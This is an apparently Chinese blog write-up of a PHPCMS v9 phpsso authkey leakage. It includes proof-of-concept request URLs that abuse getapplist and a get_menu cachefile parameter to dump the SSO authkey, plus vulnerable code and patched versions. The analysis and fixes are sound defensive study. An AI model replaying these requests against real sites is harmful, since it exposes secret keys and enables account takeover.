• PHPCMS phpsso_serverphpcmsmodulesphpssoindex.php、apiget_menu.php Authkey Leakage


    catalog

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    安装phpcms的时候会强制安装它的通行证

    Relevant Link:

    http://www.wooyun.org/bugs/wooyun-2014-066394


    2. 漏洞触发条件

    0x1: POC1

    1. 访问头像上传页面
    http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
    //获取'upurl':"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&"
                       
    2. Base64解码后
    http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
    //将url里的uploadavatar换成:getapplist
    http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
    
    3. 得到authkey

    0x2: POC Bypass Path 1

    http://localhost/phpcms_v9/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=......phpsso_servercachescaches_admincaches_dataapplist&path=admin


    3. 漏洞影响范围
    4. 漏洞代码分析

    phpsso_serverphpcmsmodulesphpssoindex.php

    /**
    * 获取应用列表
    */
    public function getapplist() 
    {
        $applist = getcache('applist', 'admin');
        exit(serialize($applist));
    }

    这个函数从cache中获取applist信息,继续追溯cache里的内容
    phpsso_servercachescaches_admincaches_dataapplist.cache.php

    <?php
    return array (
      1 => 
      array (
        'appid' => '1',
        'type' => 'phpcms_v9',
        'name' => 'phpcms v9',
        'url' => 'http://localhost/phpcms_v9/',
        'authkey' => 'lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0',
        'ip' => '',
        'apifilename' => 'api.php?op=phpsso',
        'charset' => 'utf-8',
        'synlogin' => '1',
      ),
    );
    ?>

    所以只要我们调用phpsso并且能走到getapplist()这个方法里,就会突出sso配置的客户端的所有信息,包括authkey,我们继续回溯分析漏洞源头
    phpsso_serverphpcmsmodulesphpssoclassesphpsso.class.php

        public function __construct() 
        {
            $this->db = pc_base::load_model('member_model');
            pc_base::load_app_func('global');
            
            /*获取系统配置*/
            $this->settings = getcache('settings', 'admin');
            $this->applist = getcache('applist', 'admin');
    
            //GET数据全部传递给POST
            if(isset($_GET) && is_array($_GET) && count($_GET) > 0) 
            {
                foreach($_GET as $k=>$v) 
                {
                    if(!in_array($k, array('m','c','a'))) 
                    {
                        $_POST[$k] = $v;
                    }
                }
            }
    
            if(isset($_POST['appid'])) 
            {
                $this->appid = intval($_POST['appid']);
            } 
            else 
            {
                exit('0');
            }
    
            if(isset($_POST['data'])) 
            {
                //将getapplist()结果赋值给$_POST['data']
                parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
                        
                if(empty($this->data) || !is_array($this->data)) {
                    exit('0');
                }
            } else {
                exit('0');
            }

    接下里的问题是我们要如何获取$_POST['data'],继续回溯到上传头像页面

    http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
    //查看源代码
    script type="text/javascript">
                        var flashvars = {
                            'upurl':"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&"
                        }; 
                        var params = {
                            'align':'middle',
                            'play':'true',
                            'loop':'false',
                            'scale':'showall',
                            'wmode':'window',
                            'devicefont':'true',
                            'id':'Main',
                            'bgcolor':'#ffffff',
                            'name':'Main',
                            'allowscriptaccess':'always'
                        }; 
                        var attributes = {

    得到base64编码后的URL

    aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==
    /*
    http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
    */

    将url里的uploadavatar换成:getapplist

    http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA

    得到结果

    a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:27:"http://localhost/phpcms_v9/";s:7:"authkey";s:32:"lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:5:"utf-8";s:8:"synlogin";s:1:"1";}}
    /*
    authkey: lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0
    */

    得到这个authkey,就可以获得了sso体系中的令牌,厂商对index.php中的getapplist()函数进行了patch,unset了数组中的authkey键值,但是却没有充分考虑到全部的攻击面
    apiget_menu.php

    /**
     * 获取地区列表
     */
    function ajax_getlist() {
    
        $cachefile = $_GET['cachefile'];
        $cachefile = str_replace(array('/', '//'), '', $cachefile);
        //$cachefile = preg_replace('/[x00-x08x0Bx0Cx0E-x1Fx7F]+/S', '', $cachefile);
        $path = $_GET['path'];
        $path = str_replace(array('/', '//'), '', $path);
        //$path = preg_replace('/[x00-x08x0Bx0Cx0E-x1Fx7F]+/S', '', $path);
        $title = $_GET['title'];
        $key = $_GET['key'];
        //getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容
        $infos = getcache($cachefile,$path);
        $where_id = intval($_GET['parentid']);
        $parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
        foreach($infos AS $k=>$v) 
        {
            if($v['parentid'] == $where_id) 
            {
                if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
                $s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
            }
        }
        if(count($s)>0) 
        {
            $jsonstr = json_encode($s);
            echo trim_script($_GET['callback']).'(',$jsonstr,')';
            exit;            
        } 
        else 
        {
            echo trim_script($_GET['callback']).'()';exit;            
        }
    }

    Relevant Link:

    http://0cx.cc/phpcms_phpsso_auth_key.jspx
    http://0day5.com/archives/3251


    5. 防御方法

    phpsso_serverphpcmsmodulesphpssoindex.php

    /**
     * 获取应用列表
     */
    public function getapplist()
    {
        $applist = getcache('applist', 'admin');
        /**/
        foreach($applist as $key=>$value)
        {
            unset($applist[$key]['authkey']);
        }
        /**/
        exit(serialize($applist));
    }

    apiget_menu.php

    /**
     * 获取地区列表
     */
    function ajax_getlist() {
    
        $cachefile = $_GET['cachefile'];
        //$cachefile = str_replace(array('/', '//'), '', $cachefile);
        /**/
        $cachefile = str_replace(array('/', '//', '\'), '', $cachefile);
        /**/
        //$cachefile = preg_replace('/[x00-x08x0Bx0Cx0E-x1Fx7F]+/S', '', $cachefile);
        $path = $_GET['path'];
        $path = str_replace(array('/', '//'), '', $path);
        //$path = preg_replace('/[x00-x08x0Bx0Cx0E-x1Fx7F]+/S', '', $path);
        $title = $_GET['title'];
        $key = $_GET['key'];
        //getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容
        $infos = getcache($cachefile,$path);
        $where_id = intval($_GET['parentid']);
        $parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
        foreach($infos AS $k=>$v) 
        {
            if($v['parentid'] == $where_id) 
            {
                if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
                $s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
            }
        }
        if(count($s)>0) 
        {
            $jsonstr = json_encode($s);
            echo trim_script($_GET['callback']).'(',$jsonstr,')';
            exit;            
        } 
        else 
        {
            echo trim_script($_GET['callback']).'()';exit;            
        }
    }

    Relevant Link:

    http://0day5.com/archives/3202
    http://www.wooyun.org/bugs/wooyun-2015-0105242

    6. 攻防思考

    Copyright (c) 2015 Little5ann All rights reserved

  • 相关阅读:
    JDBC_批量处理语句提高处理速度
    JDBC_获取插入记录的主键值
    JDBC_获取数据库连接
    SmartSprites 智能批量合并 CSS 雪碧图
    移动前端开发技巧摘录
    将已有项目提交到github/从github上pull到本地
    网页设计创新式布局与交互
    如何打好前端游击战
    jQuery Mobile十大常用技巧
    Javascript图片的懒加载与预加载
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4624198.html
Copyright © 2020-2023  润新知